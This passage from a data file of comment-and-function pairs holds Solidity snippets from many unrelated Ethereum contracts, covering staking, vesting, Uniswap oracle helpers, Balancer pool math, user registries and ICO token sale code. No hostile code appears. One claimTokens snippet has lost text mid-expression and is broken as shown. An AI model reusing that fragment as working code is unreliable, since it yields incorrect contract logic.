tax));\n\n emit Withdraw(\n _msgSender(),\n amount,\n tax\n );\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc.\n */", "function_code": "function spendLoomi(address user, uint256 amount) external onlyAuthorised nonReentrant {\n require(getUserBalance(user) >= amount, \"Insufficient balance\");\n uint256 tax = spendTaxCollectionStopped ? 0 : (amount * spendTaxAmount) / 100;\n\n spentAmount[user] += amount;\n activeTaxCollectedAmount += tax;\n\n emit Spend(\n _msgSender(),\n user,\n amount,\n tax\n );\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts.\n */", "function_code": "function claimLoomiTax(address user, uint256 amount) public onlyAuthorised nonReentrant {\n require(activeTaxCollectedAmount >= amount, \"Insufficiend tax balance\");\n\n activeTaxCollectedAmount -= amount;\n depositedAmount[user] += amount;\n bribesDistributed += amount;\n\n emit ClaimTax(\n _msgSender(),\n user,\n amount\n );\n }", "version": "0.8.7"} {"comment": "/**\n * @notice ERC777 hook invoked when this contract receives a token.\n */", "function_code": "function tokensReceived(\n address _operator,\n address _from,\n address _to,\n uint256 _amount,\n bytes calldata _userData,\n bytes calldata _operatorData\n ) external {\n if (_from == address(depositPbtc)) return;\n require(msg.sender == address(pbtc), \"RewardedPbtcSbtcCurveMetapool: Invalid token\");\n require(_amount > 0, \"RewardedPbtcSbtcCurveMetapool: amount must be greater than 0\");\n _stakeFor(_from, _amount);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Remove Gauge tokens from Modified Unipool (earning PNT),\n * withdraw pBTC/sbtcCRV (earning CRV) from the Gauge and then\n * remove liquidty from pBTC/sBTC Curve Metapool and then\n * transfer all back to the msg.sender.\n * User must approve this contract to to withdraw the corresponing\n * amount of his metaToken balance in behalf of him.\n */", "function_code": "function unstake() public returns (bool) {\n uint256 gaugeTokenSenderBalance = modifiedUnipool.balanceOf(msg.sender);\n require(\n modifiedUnipool.allowance(msg.sender, address(this)) >= gaugeTokenSenderBalance,\n \"RewardedPbtcSbtcCurveMetapool: amount not approved\"\n );\n modifiedUnipool.withdrawFrom(msg.sender, gaugeTokenSenderBalance);\n // NOTE: collect Modified Unipool rewards\n modifiedUnipool.getReward(msg.sender);\n\n // NOTE: collect CRV\n uint256 gaugeTokenAmount = gauge.balanceOf(address(this));\n gauge.withdraw(gaugeTokenAmount);\n uint256 crvAmount = crv.balanceOf(address(this));\n crv.transfer(msg.sender, crvAmount);\n\n uint256 metaTokenAmount = metaToken.balanceOf(address(this));\n metaToken.safeApprove(address(depositPbtc), metaTokenAmount);\n // prettier-ignore\n uint256 maxAllowedMinAmount = metaTokenAmount - ((metaTokenAmount * allowedSlippage) / (SLIPPAGE_BASE_UNIT * 100));\n uint256 pbtcAmount = depositPbtc.remove_liquidity_one_coin(metaTokenAmount, 0, maxAllowedMinAmount);\n pbtc.transfer(msg.sender, pbtcAmount);\n emit Unstaked(msg.sender, pbtcAmount, metaTokenAmount);\n return true;\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Add liquidity into Curve pBTC/SBTC Metapool,\n * put the minted pBTC/sbtcCRV tokens into the Gauge in\n * order to earn CRV and then put the Liquidi Gauge tokens\n * into Unipool in order to get the PNT reward.\n *\n * @param _user user address\n * @param _amount pBTC amount to put into the meta pool\n */", "function_code": "function _stakeFor(address _user, uint256 _amount) internal returns (bool) {\n uint256 maxAllowedMinAmount = _amount - ((_amount * allowedSlippage) / (SLIPPAGE_BASE_UNIT * 100));\n pbtc.safeApprove(address(depositPbtc), _amount);\n uint256 metaTokenAmount = depositPbtc.add_liquidity([_amount, 0, 0, 0], maxAllowedMinAmount);\n\n metaToken.safeApprove(address(gauge), metaTokenAmount);\n gauge.deposit(metaTokenAmount, address(this));\n\n uint256 gaugeTokenAmount = gauge.balanceOf(address(this));\n gauge.approve(address(modifiedUnipool), gaugeTokenAmount);\n modifiedUnipool.stakeFor(_user, gaugeTokenAmount);\n emit Staked(_user, _amount, metaTokenAmount);\n return true;\n }", "version": "0.5.16"} {"comment": "// Add a new lp to the pool. Can only be called by the owner.\n// This is assumed to not be a restaking pool.\n// Restaking can be added later or with addWithRestaking() instead of add()", "function_code": "function add(uint256 _allocPoint, IERC20 _lpToken, uint256 _withdrawFee, bool _withUpdate) public onlyOwner {\r\n require(poolIsAdded[address(_lpToken)] == false, 'add: pool already added');\r\n poolIsAdded[address(_lpToken)] = true;\r\n\r\n if (_withUpdate) {\r\n massUpdatePools();\r\n }\r\n uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;\r\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\r\n poolInfo.push(PoolInfo({\r\n lpToken: _lpToken,\r\n allocPoint: _allocPoint,\r\n withdrawFee: _withdrawFee,\r\n lastRewardBlock: lastRewardBlock,\r\n accTidalPerShare: 0,\r\n accRiptidePerShare: 0,\r\n accOtherPerShare: 0,\r\n adapter: IStakingAdapter(0),\r\n otherToken: IERC20(0)\r\n }));\r\n }", "version": "0.6.12"} {"comment": "// Set a new restaking adapter.", "function_code": "function setRestaking(uint256 _pid, IStakingAdapter _adapter, bool _claim) public onlyOwner validAdapter(_adapter) {\r\n if (_claim) {\r\n updatePool(_pid);\r\n }\r\n if (isRestaking(_pid)) {\r\n withdrawRestakedLP(_pid);\r\n }\r\n PoolInfo storage pool = poolInfo[_pid];\r\n require(address(pool.lpToken) == _adapter.lpTokenAddress(), \"LP mismatch\");\r\n pool.accOtherPerShare = 0;\r\n pool.adapter = _adapter;\r\n pool.otherToken = IERC20(_adapter.rewardTokenAddress());\r\n\r\n // transfer LPs to new target if we have any\r\n uint256 poolBal = pool.lpToken.balanceOf(address(this));\r\n if (poolBal > 0) {\r\n pool.lpToken.safeTransfer(address(pool.adapter), poolBal);\r\n pool.adapter.deposit(poolBal);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// View function to see our pending OTHERs on frontend (whatever the restaked reward token is)", "function_code": "function pendingOther(uint256 _pid, address _user) external view returns (uint256) {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_user];\r\n uint256 accOtherPerShare = pool.accOtherPerShare;\r\n uint256 lpSupply = pool.adapter.balance();\r\n \r\n if (lpSupply != 0) {\r\n uint256 otherReward = pool.adapter.pending();\r\n accOtherPerShare = accOtherPerShare.add(otherReward.mul(1e12).div(lpSupply));\r\n }\r\n return user.amount.mul(accOtherPerShare).div(1e12).sub(user.otherRewardDebt);\r\n }", "version": "0.6.12"} {"comment": "// as above but for any restaking token", "function_code": "function safeOtherTransfer(address _to, uint256 _amount, uint256 _pid) internal {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n uint256 otherBal = pool.otherToken.balanceOf(address(this));\r\n if (_amount > otherBal) {\r\n pool.otherToken.transfer(_to, otherBal);\r\n } else {\r\n pool.otherToken.transfer(_to, _amount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// called every pool update.", "function_code": "function updatePhase() internal {\r\n if (phase == address(tidal) && tidal.totalSupply() >= TIDAL_CAP){\r\n phase = address(riptide);\r\n }\r\n else if (phase == address(riptide) && tidal.totalSupply() < TIDAL_VERTEX) {\r\n phase = address(tidal);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* https://elgame.cc */", "function_code": "function getLevel(uint value) public pure returns (uint) {\r\n\t\tif (value >= 1 ether && value <= 5 ether) {\r\n\t\t\treturn 1;\r\n\t\t}\r\n\t\tif (value >= 6 ether && value <= 10 ether) {\r\n\t\t\treturn 2;\r\n\t\t}\r\n\t\tif (value >= 11 ether && value <= 15 ether) {\r\n\t\t\treturn 3;\r\n\t\t}\r\n\t\tif (value >= 16 ether && value <= 30 ether) {\r\n\t\t\treturn 4;\r\n\t\t}\r\n\t\treturn 0;\r\n\t}", "version": "0.5.17"} {"comment": "/**\n * @dev transfer to array of wallets\n * @param addresses wallet address array\n * @param values value to transfer array\n */", "function_code": "function transferBatch(address[] memory addresses, uint256[] memory values) public {\n require((addresses.length != 0 && values.length != 0));\n require(addresses.length == values.length);\n /// @notice Check if the tokens are enough\n require(getTotalAmount(values) <= balanceOf(msg.sender));\n for (uint8 j = 0; j < values.length; j++) {\n transfer(addresses[j], values[j]);\n }\n }", "version": "0.5.7"} {"comment": "/// @dev query latest and oldest observations from uniswap pool\n/// @param pool address of uniswap pool\n/// @param latestIndex index of latest observation in the pool\n/// @param observationCardinality size of observation queue in the pool\n/// @return oldestObservation\n/// @return latestObservation", "function_code": "function getObservationBoundary(address pool, uint16 latestIndex, uint16 observationCardinality)\n internal\n view\n returns (Observation memory oldestObservation, Observation memory latestObservation)\n {\n uint16 oldestIndex = (latestIndex + 1) % observationCardinality;\n oldestObservation = pool.getObservation(oldestIndex);\n if (!oldestObservation.initialized) {\n oldestIndex = 0;\n oldestObservation = pool.getObservation(0);\n }\n if (latestIndex == oldestIndex) {\n // oldest observation is latest observation\n latestObservation = oldestObservation;\n } else {\n latestObservation = pool.getObservation(latestIndex);\n }\n }", "version": "0.8.4"} {"comment": "/// @dev view slot0 infomations from uniswap pool\n/// @param pool address of uniswap\n/// @return slot0 a Slot0 struct with necessary info, see Slot0 struct above", "function_code": "function getSlot0(address pool) \n internal\n view\n returns (Slot0 memory slot0) {\n (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n ,\n ,\n \n ) = IUniswapV3Pool(pool).slot0();\n slot0.tick = tick;\n slot0.sqrtPriceX96 = sqrtPriceX96;\n slot0.observationIndex = observationIndex;\n slot0.observationCardinality = observationCardinality;\n }", "version": "0.8.4"} {"comment": "// note if we call this interface, we must ensure that the \n// oldest observation preserved in pool is older than 2h ago", "function_code": "function _getAvgTickFromTarget(address pool, uint32 targetTimestamp, int56 latestTickCumu, uint32 latestTimestamp)\n private\n view\n returns (int24 tick) \n {\n uint32[] memory secondsAgo = new uint32[](1);\n secondsAgo[0] = uint32(block.timestamp) - targetTimestamp;\n\n int56[] memory tickCumulatives;\n \n (tickCumulatives,) = IUniswapV3Pool(pool).observe(secondsAgo);\n uint56 timeDelta = latestTimestamp - targetTimestamp;\n\n int56 tickAvg = (latestTickCumu - tickCumulatives[0]) / int56(timeDelta);\n tick = int24(tickAvg);\n }", "version": "0.8.4"} {"comment": "// ------------------------------------------------------------------------\n// Claim VRF tokens daily, requires an Eth Verify account\n// ------------------------------------------------------------------------", "function_code": "function claimTokens() public{\r\n require(activated);\r\n //progress the day if needed\r\n if(dayStartTime 1 ? claimedToday : 1; //make 1 the minimum to avoid divide by zero\r\n claimedToday=0;\r\n }\r\n\r\n //requires each account to be verified with eth verify\r\n require(ethVerify.verifiedUsers(msg.sender));\r\n\r\n //only allows each account to claim tokens once per day\r\n require(lastClaimed[msg.sender] <= dayStartTime);\r\n lastClaimed[msg.sender]=now;\r\n\r\n //distribute tokens based on the amount distributed the previous day; the goal is to shoot for an average equal to dailyDistribution.\r\n claimedToday=claimedToday.add(1);\r\n balances[msg.sender]=balances[msg.sender].add(dailyDistribution.div(claimedYesterday));\r\n _totalSupply=_totalSupply.add(dailyDistribution.div(claimedYesterday));\r\n emit TokensClaimed(msg.sender,dailyDistribution.div(claimedYesterday));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * mint tokens\r\n *\r\n * add `_value` tokens from the system irreversibly\r\n *\r\n * @param _value the amount of money to mint\r\n */", "function_code": "function mint(uint256 _value) public returns (bool success) {\r\n require((msg.sender == owner));\r\n // Only the owner can do this\r\n balanceOf[msg.sender] += _value;\r\n // add coin for sender\r\n totalSupply += _value;\r\n // Updates totalSupply\r\n emit Mint(_value);\r\n return true;\r\n }", "version": "0.6.1"} {"comment": "/**\r\n * @dev When accumulated SpaceMon tokens have last been claimed for a Kami index\r\n */", "function_code": "function lastClaim(uint256 tokenIndex) public view returns (uint256) {\r\n require(IKami(_kamiAddress).ownerOf(tokenIndex) != address(0), \"Owner cannot be 0 address\");\r\n require(tokenIndex < IKami(_kamiAddress).totalSupply(), \"NFT at index has not been minted yet\");\r\n\r\n uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart;\r\n return lastClaimed;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Accumulated Power tokens for a Kami token index.\r\n */", "function_code": "function accumulated(uint256 tokenIndex) public view returns (uint256) {\r\n require(block.timestamp > emissionStart, \"Emission has not started yet\");\r\n require(IKami(_kamiAddress).ownerOf(tokenIndex) != address(0), \"Owner cannot be 0 address\");\r\n require(tokenIndex < IKami(_kamiAddress).totalSupply(), \"NFT at index has not been minted yet\");\r\n\r\n uint256 lastClaimed = lastClaim(tokenIndex);\r\n\r\n // Sanity check if last claim was on or after name emission end\r\n if (lastClaimed >= nameEmissionEnd) return 0;\r\n\r\n uint256 puzzleAccumulationPeriod = block.timestamp < puzzleEmissionEnd ? block.timestamp : puzzleEmissionEnd; // Getting the min value of both\r\n uint256 nameAccumulationPeriod = block.timestamp < nameEmissionEnd ? block.timestamp : nameEmissionEnd; // Getting the min value of both\r\n\r\n uint256 puzzleTotalAccumulated = puzzleAccumulationPeriod.sub(lastClaimed).mul(puzzleEmissionDaily).div(SECONDS_IN_A_DAY);\r\n uint256 nameTotalAccumulated = nameAccumulationPeriod.sub(lastClaimed).mul(nameEmissionDaily).div(SECONDS_IN_A_DAY);\r\n\r\n uint256 totalAccumulated = puzzleTotalAccumulated.add(nameTotalAccumulated);\r\n\r\n // If claim hasn't been done before for the index, add initial allotment (plus prereveal multiplier if applicable)\r\n\r\n //uint256 puzzleAllotment = getPuzzleAllotment(tokenIndex);\r\n\r\n if (lastClaimed == emissionStart) {\r\n uint256 initialAllotment = IKami(_kamiAddress).isMintedBeforeReveal(tokenIndex) == true ? 3000 : 0;\r\n totalAccumulated = totalAccumulated.add(initialAllotment);\r\n }\r\n\r\n return totalAccumulated;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Mints SpaceMon\r\n */", "function_code": "function mintSpaceMon(uint256 tokenQuantity) public payable {\r\n require(block.timestamp >= monSaleStartTimestamp, \"Sorry, you cannot buy SpaceMon at the moment\");\r\n require(currentMintedAmount <= mintedCap,\"All SpaceMon has been sold unfortunately\");\r\n require(tokenQuantity > 0, \"SpaceMon amount cannot be 0\");\r\n require(currentMintedAmount.add(tokenQuantity*(10**18)) <= mintedCap, \"Unfortunately you have exceeded the SpaceMon buyable supply\");\r\n require(SpaceMonPrice.mul(tokenQuantity) == msg.value, \"Ether value sent is not correct\");\r\n currentMintedAmount = currentMintedAmount.add(tokenQuantity*(10**18));\r\n _mint(msg.sender, tokenQuantity*(10**18));\r\n }", "version": "0.7.6"} {"comment": "/// @notice This function allows the sender to stake\n/// an amount (maximum 10) of UnissouToken, when the\n/// token is staked, it is burned from the circulating\n/// supply and placed into the staking pool\n/// \n/// @dev The function iterate through {stakeholders} to\n/// know if the sender is already a stakeholder. If the\n/// sender is already a stakeholder, then the requested amount\n/// is staked into the pool and then burned from the sender wallet.\n/// If the sender isn't a stakeholer, a new stakeholder is created,\n/// and then the function is recall to stake the requested amount\n///\n/// Requirements:\n/// See {Stakeable::isAmountValid()}\n///\n/// @param _amount - Represent the amount of token to be staked\n///", "function_code": "function stake(\n uint256 _amount\n ) public virtual isAmountValid(\n _amount,\n balanceOf(msg.sender)\n ) isAmountNotZero(\n _amount\n ) {\n uint256 i = 0;\n bool isStakeholder = false;\n uint256 len = stakeholders.length;\n while (i < len) {\n if (stakeholders[i].owner == msg.sender) {\n isStakeholder = true;\n break;\n }\n i++;\n }\n\n if (isStakeholder) {\n stakeholders[i].stake += _amount;\n _burn(msg.sender, (_amount * (10**8)));\n _totalStakedSupply += (_amount * (10**8));\n emit Staked(msg.sender, _amount);\n }\n\n if (!isStakeholder) {\n _createStakeholder(msg.sender);\n stake(_amount);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice This function unstacks the sender staked\n/// balance depending on the requested {_amount}, if the\n/// {_amount} exceeded the staked supply of the sender,\n/// the whole staked supply of the sender will be unstacked\n/// and withdrawn to the sender wallet without exceeding it.\n///\n/// @dev Like stake() function do, this function iterate\n/// over the stakeholders to identify if the sender is one \n/// of them, in the case of the sender is identified as a\n/// stakeholder, then the {_amount} is minted to the sender\n/// wallet and sub from the staked supply.\n///\n/// Requirements:\n/// See {Stakeable::isAmountNotZero}\n/// See {Stakeable::isAbleToUnstake}\n///\n/// @param _amount - Represent the amount of token to be unstack\n///", "function_code": "function unstake(\n uint256 _amount\n ) public virtual isAmountNotZero(\n _amount\n ) isAbleToUnstake(\n _amount\n ) {\n uint256 i = 0;\n bool isStakeholder = false;\n uint256 len = stakeholders.length;\n while (i < len) {\n if (stakeholders[i].owner == msg.sender) {\n isStakeholder = true;\n break;\n }\n i++;\n }\n\n require(\n isStakeholder,\n \"SC:650\"\n );\n\n if (isStakeholder) {\n if (_amount <= stakeholders[i].stake) {\n stakeholders[i].stake -= _amount;\n _mint(msg.sender, (_amount * (10**8)));\n _totalStakedSupply -= (_amount * (10**8));\n emit Unstaked(msg.sender, _amount);\n }\n }\n }", "version": "0.6.12"} {"comment": "/// @notice This function allows the sender to compute\n/// his reward earned by staking {UnissouToken}. When you\n/// request a withdraw, the function updates the reward's\n/// value of the sender stakeholding onto the Ethereum\n/// blockchain, allowing him to spend the reward for NFTs.\n///\n/// @dev The same principe as other functions is applied here,\n/// iteration over stakeholders, when found, execute the action.\n/// See {Stakeable::_computeReward()}\n///", "function_code": "function withdraw()\n public virtual {\n uint256 i = 0;\n bool isStakeholder = false;\n uint256 len = stakeholders.length;\n while (i < len) {\n if (stakeholders[i].owner == msg.sender) {\n isStakeholder = true;\n break;\n }\n i++;\n }\n\n require(\n isStakeholder,\n \"SC:650\"\n );\n\n if (isStakeholder) {\n _computeReward(i);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice This function allows the sender to spend {_amount} \n/// of his rewards gained from his stake.\n///\n/// @dev To reduce the potential numbers of transaction, the\n/// {_computeReward()} function is also executed into this function.\n/// Like that you can spend your reward without doing a double\n/// transaction like: first withdraw to compute, then spend.\n///\n/// @param _amount - Represent the amount of reward to spend\n///", "function_code": "function spend(\n uint256 _amount\n ) public virtual {\n uint256 i = 0;\n bool isStakeholder = false;\n uint256 len = stakeholders.length;\n while (i < len) {\n if (stakeholders[i].owner == msg.sender) {\n isStakeholder = true;\n break;\n }\n i++;\n }\n\n require(\n isStakeholder,\n \"SC:650\"\n );\n\n if (isStakeholder) {\n _computeReward(i);\n require(\n _amount <= stakeholders[i].availableReward,\n \"SC:660\"\n );\n\n stakeholders[i].availableReward -= _amount;\n stakeholders[i].totalRewardSpent += _amount;\n }\n }", "version": "0.6.12"} {"comment": "/**********************************************************************************************\n // calcSingleInGivenPoolOut //\n // tAi = tokenAmountIn //(pS + pAo)\\ / 1 \\\\ //\n // pS = poolSupply || --------- | ^ | --------- || * bI - bI //\n // pAo = poolAmountOut \\\\ pS / \\(wI / tW)// //\n // bI = balanceIn tAi = -------------------------------------------- //\n // wI = weightIn / wI \\ //\n // tW = totalWeight | 1 - ---- | * sF //\n // sF = swapFee \\ tW / //\n **********************************************************************************************/", "function_code": "function calcSingleInGivenPoolOut(\n uint tokenBalanceIn,\n uint tokenWeightIn,\n uint poolSupply,\n uint totalWeight,\n uint poolAmountOut,\n uint swapFee\n )\n public pure\n returns (uint tokenAmountIn)\n {\n uint normalizedWeight = bdiv(tokenWeightIn, totalWeight);\n uint newPoolSupply = badd(poolSupply, poolAmountOut);\n uint poolRatio = bdiv(newPoolSupply, poolSupply);\n \n //uint newBalTi = poolRatio^(1/weightTi) * balTi;\n uint boo = bdiv(BONE, normalizedWeight); \n uint tokenInRatio = bpow(poolRatio, boo);\n uint newTokenBalanceIn = bmul(tokenInRatio, tokenBalanceIn);\n uint tokenAmountInAfterFee = bsub(newTokenBalanceIn, tokenBalanceIn);\n // Do reverse order of fees charged in joinswap_ExternAmountIn, this way \n // ``` pAo == joinswap_ExternAmountIn(Ti, joinswap_PoolAmountOut(pAo, Ti)) ```\n //uint tAi = tAiAfterFee / (1 - (1-weightTi) * swapFee) ;\n uint zar = bmul(bsub(BONE, normalizedWeight), swapFee);\n tokenAmountIn = bdiv(tokenAmountInAfterFee, bsub(BONE, zar));\n return tokenAmountIn;\n }", "version": "0.5.7"} {"comment": "/**********************************************************************************************\n // calcPoolInGivenSingleOut //\n // pAi = poolAmountIn // / tAo \\\\ / wO \\ \\ //\n // bO = tokenBalanceOut // | bO - -------------------------- |\\ | ---- | \\ //\n // tAo = tokenAmountOut pS - || \\ 1 - ((1 - (tO / tW)) * sF)/ | ^ \\ tW / * pS | //\n // ps = poolSupply \\\\ -----------------------------------/ / //\n // wO = tokenWeightOut pAi = \\\\ bO / / //\n // tW = totalWeight ------------------------------------------------------------- //\n // sF = swapFee ( 1 - eF ) //\n // eF = exitFee //\n **********************************************************************************************/", "function_code": "function calcPoolInGivenSingleOut(\n uint tokenBalanceOut,\n uint tokenWeightOut,\n uint poolSupply,\n uint totalWeight,\n uint tokenAmountOut,\n uint swapFee\n )\n public pure\n returns (uint poolAmountIn)\n {\n\n // charge swap fee on the output token side \n uint normalizedWeight = bdiv(tokenWeightOut, totalWeight);\n //uint tAoBeforeSwapFee = tAo / (1 - (1-weightTo) * swapFee) ;\n uint zoo = bsub(BONE, normalizedWeight);\n uint zar = bmul(zoo, swapFee); \n uint tokenAmountOutBeforeSwapFee = bdiv(\n tokenAmountOut, \n bsub(BONE, zar)\n );\n\n uint newTokenBalanceOut = bsub(\n tokenBalanceOut, \n tokenAmountOutBeforeSwapFee\n );\n uint tokenOutRatio = bdiv(newTokenBalanceOut, tokenBalanceOut);\n\n //uint newPoolSupply = (ratioTo ^ weightTo) * poolSupply;\n uint poolRatio = bpow(tokenOutRatio, normalizedWeight);\n uint newPoolSupply = bmul(poolRatio, poolSupply);\n uint poolAmountInAfterExitFee = bsub(poolSupply, newPoolSupply);\n\n // charge exit fee on the pool token side\n // pAi = pAiAfterExitFee/(1-exitFee)\n poolAmountIn = bdiv(poolAmountInAfterExitFee, bsub(BONE, EXIT_FEE));\n return poolAmountIn;\n }", "version": "0.5.7"} {"comment": "/**\r\n * registerUser associates a Monetha user's ethereum address with his nickname and trust score\r\n * @param _userAddress address of user's wallet\r\n * @param _name corresponds to use's nickname\r\n * @param _starScore represents user's star score\r\n * @param _reputationScore represents user's reputation score\r\n * @param _signedDealsCount represents user's signed deal count\r\n * @param _nickname represents user's nickname\r\n * @param _isVerified represents whether user is verified (KYC'ed)\r\n */", "function_code": "function registerUser(address _userAddress, string _name, uint256 _starScore, uint256 _reputationScore, uint256 _signedDealsCount, string _nickname, bool _isVerified)\r\n external onlyOwner\r\n {\r\n User storage user = users[_userAddress];\r\n\r\n user.name = _name;\r\n user.starScore = _starScore;\r\n user.reputationScore = _reputationScore;\r\n user.signedDealsCount = _signedDealsCount;\r\n user.nickname = _nickname;\r\n user.isVerified = _isVerified;\r\n\r\n emit UserRegistered(_userAddress, _name, _starScore, _reputationScore, _signedDealsCount, _nickname, _isVerified);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * updateTrustScoreInBulk updates the trust score of Monetha users in bulk\r\n */", "function_code": "function updateTrustScoreInBulk(address[] _userAddresses, uint256[] _starScores, uint256[] _reputationScores)\r\n external onlyOwner\r\n {\r\n require(_userAddresses.length == _starScores.length);\r\n require(_userAddresses.length == _reputationScores.length);\r\n\r\n for (uint256 i = 0; i < _userAddresses.length; i++) {\r\n users[_userAddresses[i]].starScore = _starScores[i];\r\n users[_userAddresses[i]].reputationScore = _reputationScores[i];\r\n\r\n emit UpdatedTrustScore(_userAddresses[i], _starScores[i], _reputationScores[i]);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * updateUserDetailsInBulk updates details of Monetha users in bulk\r\n */", "function_code": "function updateUserDetailsInBulk(address[] _userAddresses, uint256[] _starScores, uint256[] _reputationScores, uint256[] _signedDealsCount, bool[] _isVerified)\r\n external onlyOwner\r\n {\r\n require(_userAddresses.length == _starScores.length);\r\n require(_userAddresses.length == _reputationScores.length);\r\n require(_userAddresses.length == _signedDealsCount.length);\r\n require(_userAddresses.length == _isVerified.length);\r\n\r\n for (uint256 i = 0; i < _userAddresses.length; i++) {\r\n users[_userAddresses[i]].starScore = _starScores[i];\r\n users[_userAddresses[i]].reputationScore = _reputationScores[i];\r\n users[_userAddresses[i]].signedDealsCount = _signedDealsCount[i];\r\n users[_userAddresses[i]].isVerified = _isVerified[i];\r\n\r\n emit UpdatedUserDetails(_userAddresses[i], _starScores[i], _reputationScores[i], _signedDealsCount[i], _isVerified[i]);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * updateUser updates single user details\r\n */", "function_code": "function updateUser(address _userAddress, string _updatedName, uint256 _updatedStarScore, uint256 _updatedReputationScore, uint256 _updatedSignedDealsCount, string _updatedNickname, bool _updatedIsVerified)\r\n external onlyOwner\r\n {\r\n users[_userAddress].name = _updatedName;\r\n users[_userAddress].starScore = _updatedStarScore;\r\n users[_userAddress].reputationScore = _updatedReputationScore;\r\n users[_userAddress].signedDealsCount = _updatedSignedDealsCount;\r\n users[_userAddress].nickname = _updatedNickname;\r\n users[_userAddress].isVerified = _updatedIsVerified;\r\n\r\n emit UpdatedUser(_userAddress, _updatedName, _updatedStarScore, _updatedReputationScore, _updatedSignedDealsCount, _updatedNickname, _updatedIsVerified);\r\n }", "version": "0.4.25"} {"comment": "// Timestamp functions based on\n// https://github.com/pipermerriam/ethereum-datetime/blob/master/contracts/DateTime.sol", "function_code": "function toTimestamp(uint16 year, uint8 month, uint8 day)\r\n internal pure returns (uint timestamp) {\r\n uint16 i;\r\n\r\n // Year\r\n timestamp += (year - ORIGIN_YEAR) * 1 years;\r\n timestamp += (leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR)) * 1 days;\r\n\r\n // Month\r\n uint8[12] memory monthDayCounts;\r\n monthDayCounts[0] = 31;\r\n if (isLeapYear(year)) {\r\n monthDayCounts[1] = 29;\r\n }\r\n else {\r\n monthDayCounts[1] = 28;\r\n }\r\n monthDayCounts[2] = 31;\r\n monthDayCounts[3] = 30;\r\n monthDayCounts[4] = 31;\r\n monthDayCounts[5] = 30;\r\n monthDayCounts[6] = 31;\r\n monthDayCounts[7] = 31;\r\n monthDayCounts[8] = 30;\r\n monthDayCounts[9] = 31;\r\n monthDayCounts[10] = 30;\r\n monthDayCounts[11] = 31;\r\n\r\n for (i = 1; i < month; i++) {\r\n timestamp += monthDayCounts[i - 1] * 1 days;\r\n }\r\n\r\n // Day\r\n timestamp += (day - 1) * 1 days;\r\n\r\n // Hour, Minute, and Second are assumed as 0 (we calculate in GMT)\r\n\r\n return timestamp;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Transfers vested tokens to beneficiary.\r\n * @param token ERC20 token which is being vested\r\n */", "function_code": "function claim(IERC20 token) public {\r\n require(_start > 0, \"TokenVesting: start is not set\");\r\n\r\n uint256 unreleased = _releasableAmount(token);\r\n\r\n require(unreleased > 0, \"TokenVesting: no tokens are due\");\r\n\r\n _released[address(token)] = _released[address(token)].add(unreleased);\r\n\r\n token.safeTransfer(_beneficiary, unreleased);\r\n if (_beneficiaryIsReleaser) {\r\n IReleaser(_beneficiary).release();\r\n }\r\n\r\n emit TokensReleased(address(token), unreleased);\r\n }", "version": "0.5.16"} {"comment": "// Use storage keyword so that we write this to persistent storage.", "function_code": "function initBonus(BonusData storage data)\r\n internal\r\n {\r\n data.factors = [uint256(300), 250, 200, 150, 100, 50, 0];\r\n data.cutofftimes = [toTimestamp(2018, 9, 1),\r\n toTimestamp(2018, 9, 8),\r\n toTimestamp(2018, 9, 15),\r\n toTimestamp(2018, 9, 22),\r\n toTimestamp(2018, 9, 29),\r\n toTimestamp(2018, 10, 8)];\r\n }", "version": "0.4.19"} {"comment": "/*\n Let's at least allow some minting of tokens!\n @param beneficiary - who should receive it\n @param tokenId - the id of the 721 token\n */", "function_code": "function mint\n (\n address beneficiary,\n uint tType\n )\n public\n onlyMinter()\n returns (uint tokenId)\n {\n uint index = tokensByType[tType].length;\n require (index < tokenTypeSupply[tType], \"Token supply limit reached\");\n tokenId = getTokenId(tType, index);\n tokensByType[tType].push(tokenId);\n tokenType[tokenId] = tType;\n tokenIndexInTypeArray[tokenId] = index;\n \n _mint(beneficiary, tokenId);\n emit TokenMinted(beneficiary, tType, index, tokenId);\n }", "version": "0.5.0"} {"comment": "//this creates the contract and stores the owner. it also passes in 3 addresses to be used later during the lifetime of the contract.", "function_code": "function QCOToken(\r\n address _stateControl\r\n , address _whitelistControl\r\n , address _withdrawControl\r\n , address _tokenAssignmentControl\r\n , address _teamControl\r\n , address _reserves)\r\n public\r\n {\r\n stateControl = _stateControl;\r\n whitelistControl = _whitelistControl;\r\n withdrawControl = _withdrawControl;\r\n tokenAssignmentControl = _tokenAssignmentControl;\r\n moveToState(States.Initial);\r\n endBlock = 0;\r\n ETH_QCO = 0;\r\n totalSupply = maxTotalSupply;\r\n soldTokens = 0;\r\n Bonus.initBonus(bonusData);\r\n teamWallet = address(new QravityTeamTimelock(this, _teamControl));\r\n\r\n reserves = _reserves;\r\n balances[reserves] = totalSupply;\r\n Mint(reserves, totalSupply);\r\n Transfer(0x0, reserves, totalSupply);\r\n }", "version": "0.4.19"} {"comment": "//this is the main funding function, it updates the balances of tokens during the ICO.\n//no particular incentive schemes have been implemented here\n//it is only accessible during the \"ICO\" phase.", "function_code": "function() payable\r\n public\r\n requireState(States.Ico)\r\n {\r\n require(whitelist[msg.sender] == true);\r\n require(msg.value > 0);\r\n // We have reports 